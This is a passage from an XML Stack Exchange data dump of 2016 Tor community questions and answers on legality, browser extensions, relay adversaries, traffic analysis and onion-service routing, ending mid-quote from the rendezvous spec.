  <row Id="9998" PostTypeId="2" ParentId="9994" CreationDate="2016-03-31T09:18:23.500" Score="2" Body="&lt;p&gt;Questions like this have &lt;a href=&quot;https://tor.stackexchange.com/questions/9768/is-there-any-legal-issues-with-tor-in-brazil&quot;&gt;come up before&lt;/a&gt;. The more general question would be whether &lt;em&gt;encryption&lt;/em&gt; is illegal in Ukraine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The country does have its own set of regulations for the use of cryptography, which do also &lt;em&gt;seem&lt;/em&gt; to apply to domestic use, as detailed on the &lt;a href=&quot;http://www.cryptolaw.org/cls2.htm#ukr&quot; rel=&quot;nofollow&quot;&gt;Ukraine&lt;/a&gt; page of the cryptolaw.org site:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;2. Domestic laws and regulations&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Production, trade and use of cryptography are subject to licensing, according to the Law On&#xA;  Licensing Certain Types of Economic Activity of 1 June 2000. Licenses&#xA;  are issued by the Department of Special Telecommunication Systems and&#xA;  Protection of Information of the Security Service of Ukraine (SBU). A&#xA;  joint order, No. 88/66, of the State Committee for Regulatory Policy&#xA;  and Entrepreneurship and the SBU’s Telecom Department regulates the&#xA;  use of encryption and contains an application form to request a&#xA;  license.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would have to research further to determine if there are any existing legal precedences - i.e. previous cases - showing how easy the above laws would be to enforce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards as to whether Tor is illegal in other countries: almost certainly in countries where domestic use of encryption is illegal, of which there must be plenty. (Regardless of what the Tor FAQ says... ) &lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2016-03-31T17:49:37.613" LastActivityDate="2016-03-31T17:49:37.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9999" PostTypeId="1" CreationDate="2016-03-31T09:58:59.093" Score="3" ViewCount="7765" Body="&lt;p&gt;Browsing habit seems to be one of the big factors on anonymity, and i am wondering if there is possibility that technology wise Tor can be written as a Plugin on top of Mainstream browsers, so the adoption rate would increase, hence a more effective/faster Tor network, and people would use it as a habit usage instead of targeted use. &lt;/p&gt;&#xA;" OwnerDisplayName="clark" LastActivityDate="2016-07-30T17:15:21.860" Title="Tor as a Chrome/Firefox extension Plugin?" Tags="|anonymity|chrome|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10000" PostTypeId="2" ParentId="6922" CreationDate="2016-03-31T14:08:36.477" Score="0" Body="&lt;p&gt;right in the same way it have received the request to let some packet out : the tunnel is not destroyed right after firing the packet out - it works both ways, so if the response is received - it is &lt;em&gt;just sent back&lt;/em&gt; through already built tunnel&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-31T14:08:36.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10001" PostTypeId="2" ParentId="9999" CreationDate="2016-03-31T17:04:11.780" Score="1" Body="&lt;p&gt;Impossible. And not due to the API limitations. The reason is that browser plugins can be not just disabled, but controlled from browser, enlisted e.t.c... All-in-one conception is turning dead when there's too much things aboard : every piece of software must do it's job an &lt;strong&gt;it's job only&lt;/strong&gt;. Another argument is that the browser is not an ultimate container for it's plugins : the spectacular example is Flash or Silverlight - the will ignore your browser's connection settings and no plugin or proxy will save you from a data/location/identity leak.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-31T17:04:11.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10002" PostTypeId="2" ParentId="9994" CreationDate="2016-03-31T17:13:02.417" Score="0" Body="&lt;p&gt;There's no explicit prohibitions of Tor in any country as far a sI know, &lt;strong&gt;but&lt;/strong&gt; there's some law collisions that can make Tor usage illegal, like the &lt;a href=&quot;https://www.techdirt.com/articles/20110830/02133315734/pakistan-officially-bans-all-encryption-online.shtml&quot; rel=&quot;nofollow&quot;&gt;case of Pakistan&lt;/a&gt;, or &lt;a href=&quot;https://en.wikipedia.org/wiki/Interception_of_Communications_Bill_2006&quot; rel=&quot;nofollow&quot;&gt;Zimbabwe case&lt;/a&gt; . In Ukraine - as far as I know - it's legal&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-31T17:13:02.417" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10003" PostTypeId="2" ParentId="9993" CreationDate="2016-03-31T20:29:12.477" Score="2" Body="&lt;p&gt;Looks good to me. If you connect to the VPN first, all of your internet traffic goes to the VPN. When you connect to the Tor network (after connecting to the VPN), your traffic does something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Device ==&gt; VPN ==&gt; Tor Network&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your VPN service will show you the IP address they are giving you, and the Tor network will show you the IP address you have from the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your IP ==&gt; VPN Service IP ==&gt; Random Tor Exit&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-03-31T20:29:12.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10004" PostTypeId="2" ParentId="9999" CreationDate="2016-03-31T20:35:07.790" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/torbutton/index.html.en&quot; rel=&quot;nofollow&quot;&gt;Torbutton&lt;/a&gt; - which is a major part of the Tor Browser - is effectively a Firefox extension. However, it can only be used as part of the Tor Browser itself, rather than be added to a vanilla Firefox instance. (I &lt;em&gt;think&lt;/em&gt; it used to be a standalone add-on that &lt;em&gt;could&lt;/em&gt; be &lt;a href=&quot;http://www.macworld.co.uk/news/mac-software/tor-button-move-firefox-add-browser-3278080/&quot; rel=&quot;nofollow&quot;&gt;added to a vanilla Firefox instance&lt;/a&gt; - someone with longer experience can correct me here.) The Torbutton code can be found in &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git&quot; rel=&quot;nofollow&quot;&gt;its GitHub repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the Tor Browser was developed to solve problems that couldn't be solved using an extension/add-on alone. Have a look at the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow&quot;&gt;Tor Browser Design and Implementation&lt;/a&gt; document, specifically section &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#DesignRequirements&quot; rel=&quot;nofollow&quot;&gt;2. Design Requirements&lt;/a&gt;, which enumerates, surprisingly, what was required of the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to Chrome, have a look the &lt;a href=&quot;https://tor.stackexchange.com/questions/52/how-can-i-use-chrome-through-tor-on-os-x&quot;&gt;previous threads&lt;/a&gt; which explain why this wouldn't be possible. (i.e. The API problem mentioned by Alexey.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-03-31T20:35:07.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10008" PostTypeId="1" CreationDate="2016-04-01T05:12:13.213" Score="0" ViewCount="67" Body="&lt;p&gt;Hypothetically what good or bad would happen if you forced practically every user to be a decoy relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Tor right now, gives you the option to be a relay which is awesome. But what would be the outcome if 90% of the users were relays of decoy transmissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: A client only user named Dallas sends real intended info to relay (A) to relay (B) to relay (C) to the internet. But as a decoy Dallas also automatically sends info to a Client only user(2) which hops to a Client only user(3) and then relays to Client user(4). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So hypothetically Dallas's intended web page goes through relay (C) and  gets to view howtocheatonSATs.com while some decoy websites like google.com go through a couple of clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously the decoy websites that are sent automatic should just be a random website from a list of safe websites that nobody would mind running as a relay from their own tightly watched school/work connection and safe in most censorship countries. And it should be something that people could opt out of if they so do wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much every time user &quot;Dallas&quot; clicks to go to a new site 2-5 random decoys relays are sent out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this help or hurt the anonymity of Tor? PS if this is a good idea, dibs on naming this the 'Garlic Function'!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's part 2 to the equation: What if this was an Add-On or an extension that could be added to Chrome and Firefox like HTTPS Everywhere. So the decoy information could be sent out of the Tor network. Or the fact more people are sending decoy info so it's harder for companies to track traffic.&lt;/p&gt;&#xA;" OwnerUserId="12323" LastEditorUserId="12323" LastEditDate="2016-04-01T05:28:46.593" LastActivityDate="2016-04-01T14:48:05.713" Title="Forcing every user to be a decoy relay?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10009" PostTypeId="1" CreationDate="2016-04-01T13:15:30.293" Score="3" ViewCount="1041" Body="&lt;p&gt;I heard that someone, who can read the traffic of many tor nodes (like the government of a country where many nodes are located) can find out which user is sending/reading data to/from which resource by statistical analyzing those node's traffic. I've read this is done by analyzing the traffic of the first and last node of each route. As I did understand, the middle node seems not to be of interest. Is this true? If yes: Why is the middle node's traffic not useful for statistic analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each tor route goes through three tor nodes. Can it help to protect the anonymity of tor users to choose only routes where the first and last node are located in different countries? Maybe even different continents?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what about hidden services? The traffic from a user to a hidden service goes twice through the tor network, so that there are six tor nodes transporting the data. How does this influence de-anonymization? Is it enough to analyze data of nodes 1 and 6? Or is there a need to analyze the nodes 3 and 4 too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Supposed Tor software already creates only routes where the nodes 1 and 3 are located in different countries: If a user connects to a hidden service, can it be, that nodes 1 and 6 are now in the same country? Wouldn't this allow this countries government to find out quicker to which hidden service a user is connected, than to which normal website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;clarification:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not interested in other methods of attacking a users or a service providers anonymity. I am asking about traffic analysis and how it can be influenced by placing Tor nodes over the planet, and if hidden services make it easier or harder to perform such analysis.&lt;/p&gt;&#xA;" OwnerUserId="1856" LastEditorUserId="13768" LastEditDate="2016-07-31T18:19:17.150" LastActivityDate="2016-09-04T06:48:08.627" Title="How does de-anonymization work?" Tags="|onion-services|relays|deanonymization|traffic-analysis|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10011" PostTypeId="2" ParentId="10008" CreationDate="2016-04-01T14:48:05.713" Score="1" Body="&lt;p&gt;It would be bad, generally speaking. The user that can not run a relay to keep his privacy - and sometimes even a life(!) in a safe way - should be sure, that no hidden functionality is added. &lt;strong&gt;Ever&lt;/strong&gt;. A user that &lt;em&gt;can&lt;/em&gt; run a relay, but not doing it is hurting it's Tor experience badly : you can try to compare it yourself just by running a &lt;strong&gt;fresh&lt;/strong&gt; installation of Tor, especially on a static internet IP, and after that &lt;em&gt;just add a relay option with ORPort&lt;/em&gt; - and see the boost with your own eyes. A &quot;garlic routing&quot; is a &lt;a href=&quot;https://geti2p.net/en/&quot; rel=&quot;nofollow&quot;&gt;I2P&lt;/a&gt; project, not Onion one.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-01T14:48:05.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10013" PostTypeId="2" ParentId="9999" CreationDate="2016-04-01T15:23:06.240" Score="0" Body="&lt;p&gt;Although the idea may seem intriguing, the problem of use the Tor network to browse the internet is much deeper than that. The Tor browser is a separate browser because when you access the Tor network it changes how you get data from servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With mainstream browsers (IE, Chrome, Firefox, ...) the developers of them would have to implement the Tor protocol in the core engine to enable Tor browsing. This is because instead of using regular DNS and directly connecting to the web server, the Tor browser will first encrypt your data and proxy your request through at least 3 other relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only at the point when the request comes out of the (3)rd exit relay does the request use the normal Internet and access the server.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also because there is the barrier of knowing about Tor and the TBB, it makes it so that the regular oblivious internet can't be sent a spam email to a child porn website and be guaranteed the link will open.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="10202" LastActivityDate="2016-04-01T15:23:06.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10015" PostTypeId="1" CreationDate="2016-04-01T18:19:13.440" Score="2" ViewCount="173" Body="&lt;p&gt;Why Tor network was not designed in such a way that all traffic that flows from a computer uses the network (like VPNs)? Instead, users have to use Tor browser and take special care with other applications that can leak information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess Tor website tried to explain this issue &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TransportIPnotTCP&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but I couldn't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12331" LastActivityDate="2016-08-05T18:10:09.537" Title="Why Tor does not encapsulates all the packages?" Tags="|vpn|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10016" PostTypeId="1" AcceptedAnswerId="10019" CreationDate="2016-04-01T18:24:16.490" Score="5" ViewCount="121" Body="&lt;p&gt;Given that anyone can set up a relay server, what if a powerful adversary sets up a lot of relays around the world? &lt;/p&gt;&#xA;" OwnerUserId="12331" LastActivityDate="2016-04-13T11:54:40.233" Title="What if a powerful adversary controls a lot of relays?" Tags="|relays|relay-adversary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10017" PostTypeId="1" CreationDate="2016-04-01T19:47:23.893" Score="1" ViewCount="1229" Body="&lt;p&gt;Ok, so thank you for taking some time to read this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My teammates and I are on a university project to understand how Tor functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context that a client made a request to a normal website (i.e. through public DNS), the request will have a path consisting of exactly three nodes and the last node will make the request to the requested IPv4 address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, if it is an onion address (and this is the question), there will be three nodes for the client, and three nodes for the server who is hosting the onion website requested. Between the client nodes and the server nodes, is the request filtered through Tor's DNS so they can change the onion address to an IPv4 address? And relay the request to the first server node which will transmit it to the others two nodes where the exit node is going to make the request with the IPv4 address that Tor's server changed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sure, Tor's server would have encrypted the message three times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, is the message encrypted with RSA with the three public keys of the assigned node's path? Once a node has the message, does it decrypt it with it's private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize a little bit:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is Tor changing an onion url to an IPv4 address in the middle between the three client nodes and the three server nodes?&lt;/li&gt;&#xA;&lt;li&gt;Is the exit node on the server side making the request with an IPv4 address?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you so much for helping us in our understanding of Tor!&lt;/p&gt;&#xA;" OwnerUserId="12332" LastEditorUserId="-1" LastEditDate="2016-04-04T22:45:40.363" LastActivityDate="2016-06-03T23:43:42.480" Title="How can a .onion url be routed on the internet on the right server?" Tags="|onion-services|anonymity|exit-relays|ip-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10018" PostTypeId="2" ParentId="9986" CreationDate="2016-04-01T19:56:35.260" Score="0" Body="&lt;p&gt;Please note that I'm a certified IT Tech and former Programmer, but not specialized in TOR Browser for Windows programming... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You asked &lt;strong&gt;&lt;em&gt;Is my anonymity at risk in the following scenarios?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;1.)    I am using other browsers or programs (accessing the Internet, but not through Tor), while I am using the Tor Browser;&lt;/em&gt;&lt;/strong&gt;&#xA;       Response: Yes, you may be at risk because of software &quot;fingerprints&quot;, Any Browser Cookie sharing with non-Tor Browsers, and other &quot;hints&quot; (ie Window positioning coordinates, display fonts, etc.) could allow you to be tracked.  Opening a TOR for Windows Browser session and Mozilla Firefox for Windows session at the same time can compromise your security due to Firefox Cookies (ie Google Cookies) that are temporarily loaded into &quot;RAM&quot; memory by Firefox and not TOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;2.)    I am using a torrent client to download files (not through Tor), while I am using the Tor Browser;&lt;/em&gt;&lt;/strong&gt;&#xA;Response: You are NOT anonymous whenever you use 3rd party software for uploads/downloads, even though you may have TOR software open.  For example with TOR running, Bittorrent can show your IP address while open and downloading.  This enables your Bittorrent IP to be checked by a 3rd Party to see if TOR ports and other software is also running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;3.)    I am uploading files using the Tor Browser;&lt;/em&gt;&lt;/strong&gt;&#xA;Response: Any uploading/download of files while using TOR or other Browsers can reveal your IP address.  Supposedly, use of Startpage/IXQuick is safe for VIEWING Search results (ie pics)  through their Proxy Server &amp;amp; DOES NOT download the files that compromise your anonymity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Startpage claims their website automatically changes the search keys assigned to each client every 15 minutes to discourage outside tracking. You should assume that &lt;strong&gt;searches completed without the Startpage Proxy&lt;/strong&gt; or through most other 3rd Party websites (even though you are using TOR Browser) can be used to track where you go and what you search through either the website setup or use of 3rd Party Cookies loaded through other Browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;4.)    I am downloading files using the Tor Browser (from cloud services, e-mails, file sharing services, other sites).&lt;/em&gt;&lt;/strong&gt; &#xA;Response: Any upload/download file transfer can be tracked and possibly traced, even when TOR is used to start the upload/download. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third party Cloud Services try to log your IP address through several methods and may try to track or monitor where you go on the Internet for Security or Marketing purposes.  Any website that requires you to login may compromise your anonymity through undisclosed IP logging &amp;amp; tracking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, downloading a Adobe FLASH movie through TOR from a 3rd party website... Even though you do not view the FLASH movie itself - any upload/download to the Internet can automatically send marketing info to Adobe based on the uncompressed file type &amp;amp;/or extension.  You should check Control Panel - Adobe Flash - Settings to disable Flash from sending info to Adobe without your knowledge or permission.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, Adobe is a sneaky company about loss of consumer privacy and this can directly affect TOR Browser use... Whenever you install an Adobe software update for ANY free or commercial Adobe product, Adobe automatically resets and turns on Internet tracking for applications and shares this and other info with Adobe without notifying you of the changes.  These are some of the reasons why I always try to disable Adobe AIR and prevent other Adobe products from preloading during Startup.  I only let Adobe notify me when software updates are available, not auto-install without my prior knowledge or permission &amp;amp; changing my settings without notice.&lt;/p&gt;&#xA;" OwnerUserId="10786" LastActivityDate="2016-04-01T19:56:35.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10019" PostTypeId="2" ParentId="10016" CreationDate="2016-04-01T20:00:15.073" Score="3" Body="&lt;p&gt;I'm no expert, but here's what I know:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Guards/Relays&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an adversary sets up multiple relay servers around the world, all they would get is a bunch of encrypted traffic. In fact, they'd actually be helping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;Lifecycle of a Relay&lt;/a&gt;, it could take up to 68 days for a new Guard relay to see any meaningful traffic. Even so, the adversary would only see &quot;who&quot; and not &quot;what.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exits&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an adversary set up exit relays around the world, they'd be helping the Tor network even more! They would see &quot;what&quot; was being sent, but they still wouldn't be able to see &quot;who&quot; was sending it. As an added bonus, if the original traffic was encrypted (HTTPS websites for example), the adversary won't be able to see &quot;what&quot; either!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Family&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When multiple Tor relays are run by the same person, the MyFamily option is used to make sure no 2 relays in a circuit are owned by the same person. An adversary most likely won't set this, but I remember seeing something in the tor-relay mailing list saying that Tor was smart enough to not use 2 relays that are too close together in the IP addresses. (for example, 100.200.300.5 and 100.200.300.8 will probably not be in the same circuit) [I'd appreciate if someone could confirm this]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wrapping it Up&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to compromise the Tor network and its users, an adversary would need to control both the Guard relay and the Exit node in a given circuit. If a user was accessing an HTTPS website, the adversary would also need to break the original website encryption, which is pretty strong with the new SHA-256 certificates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if an adversary tricked a client into using a guard and exit that they operated, Tor clients switch circuits every 10 minutes by default. On top of that, there are already 7000+ Tor relays that are already stable and &quot;preferred&quot; over new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it bluntly, you would need a lot of time and money to effectively compromise the Tor network. It's much easier to compromise a user's data by infecting the Tor browser: &lt;a href=&quot;http://www.theverge.com/2013/10/4/4802512/nsa-failed-to-compromise-tor-network-but-exploited-browser-vulnerabilities&quot; rel=&quot;nofollow&quot;&gt;http://www.theverge.com/2013/10/4/4802512/nsa-failed-to-compromise-tor-network-but-exploited-browser-vulnerabilities&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, once they start exploiting the browser, it's only a matter of time before someone finds out, and the exploit gets patched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Doing the Math&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2000 guards and 1000 exits in the network. The initial cost to run 3000 servers for 2 months would be around $60,000. Since many VPS services charge extra for bandwidth, additional charges could be up to almost $1 million. Running 3000 servers at full capacity would cost just over $1 million per month, and they need to run for at least 2 months to get guard status. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even after all that, an adversary would only capture half of the network, and this doesn't even include compromising bridges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of this, an adversary would still need to break any encryption from the original traffic, like HTTPS or other encryption protocols. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I think it's safe to say the NSA and FBI have bigger targets. If they decide to compromise Tor, it would be easier to compromise the browsers or devices rather than the entire network. &lt;/p&gt;&#xA;" OwnerUserId="12240" LastEditorUserId="12240" LastEditDate="2016-04-02T01:23:45.290" LastActivityDate="2016-04-02T01:23:45.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10020" PostTypeId="2" ParentId="5989" CreationDate="2016-04-01T20:24:15.040" Score="1" Body="&lt;p&gt;The answer to this question depends on how you define &quot;risky.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remember history in the Tor browser, the history will only be stored locally. Only people that have access to the computer will be able to see your browsing history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, cookies are already enabled in the Tor browser. However, they are deleted when you close the browser. That option cannot be changed in the Tor browser, so your options are either accept cookies until you close the browser, or don't accept cookies in the first place.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-01T20:24:15.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10021" PostTypeId="1" AcceptedAnswerId="10028" CreationDate="2016-04-01T20:26:08.957" Score="2" ViewCount="2500" Body="&lt;p&gt;Tor circuits change every 10 minutes. If I leave the Tor browser open on my computer, or the Orbot app connected on my Android, will I add any network overhead for the network? Should I disconnect when I'm not using Tor, or will the client automatically stop creating new circuits until I start using it again?&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-02T13:16:05.020" Title="Is it bad to stay connected to Tor for long periods of time?" Tags="|tor-browser-bundle|orbot|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10022" PostTypeId="1" AcceptedAnswerId="10029" CreationDate="2016-04-01T23:34:23.290" Score="3" ViewCount="9562" Body="&lt;p&gt;I want to read Tor logs when running Tor from Browser Bundle (on Linux).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Logs&quot; rel=&quot;nofollow&quot;&gt;In official FAQ, I read:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You'll have to go find the log files by hand. Here are some likely&#xA;  places for your logs to be:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;On OS X, Debian, Red Hat, etc, the logs are in &lt;code&gt;/var/log/tor/&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;On Windows, there are no default log files currently. If you enable logs in your torrc file, they default to &lt;code&gt;\username\Application&#xA;  Data\tor\log\&lt;/code&gt; or &lt;code&gt;\Application Data\tor\log\&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;li&gt;If you compiled Tor from source, by default your Tor logs to &quot;stdout&quot; at log-level notice. If you enable logs in your torrc file,&#xA;  they default to &lt;code&gt;/usr/local/var/log/tor/&lt;/code&gt;.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, that makes no sense. I am runing the bundle as a non-root user, it cannot write into &lt;code&gt;/var/log/tor&lt;/code&gt; or &lt;code&gt;/usr/local/var/log/tor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked into all the sub-folders in the bundle and I don't see a thing there.&lt;/p&gt;&#xA;" OwnerUserId="12333" LastActivityDate="2016-04-02T13:19:34.427" Title="Where does Tor save logs when run from browser bundle?" Tags="|tor-browser-bundle|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10023" PostTypeId="1" AcceptedAnswerId="10031" CreationDate="2016-04-02T01:16:17.520" Score="0" ViewCount="79" Body="&lt;p&gt;Is there any added value in using https with a hidden service, such as Facebook is doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the SSL provide any more security than regular http?&lt;/p&gt;&#xA;" OwnerUserId="12333" LastActivityDate="2016-04-02T14:26:10.063" Title="Is there any added value in https over hidden service?" Tags="|https|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10024" PostTypeId="2" ParentId="10017" CreationDate="2016-04-02T05:42:20.590" Score="2" Body="&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt&lt;/a&gt;, section 0.2:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Bob-&gt;Bob's OP: &quot;Offer IP:Port as public-key-name:Port&quot;. [configuration]&#xA;    (We do not specify this step; it is left to the implementor of&#xA;    Bob's OP.)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Bob's OP generates a long-term keypair.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Bob's OP-&gt;Introduction point via Tor: [introduction setup]&#xA;      &quot;This public key is (currently) associated to me.&quot;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Bob's OP-&gt;directory service via Tor: publishes Bob's service descriptor&#xA;    [advertisement]&#xA;      &quot;Meet public-key X at introduction point A, B, or C.&quot; (signed)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Out of band, Alice receives a z.onion:port address.&#xA;    She opens a SOCKS connection to her OP, and requests z.onion:port.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Alice's OP retrieves Bob's descriptor via Tor. [descriptor lookup.]&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Alice's OP chooses a rendezvous point, opens a circuit to that&#xA;    rendezvous point, and establishes a rendezvous circuit. [rendezvous&#xA;    setup.]&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Alice connects to the Introduction point via Tor, and tells it about&#xA;    her rendezvous point.  (Encrypted to Bob.)  [Introduction 1]&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;The Introduction point passes this on to Bob's OP via Tor, along the&#xA;    introduction circuit. [Introduction 2]&lt;/p&gt;&#xA;  &#xA;  &lt;ol start=&quot;10&quot;&gt;&#xA;  &lt;li&gt;&lt;p&gt;Bob's OP decides whether to connect to Alice, and if so, creates a&#xA;  circuit to Alice's RP via Tor.  Establishes a shared circuit.&#xA;  [Rendezvous 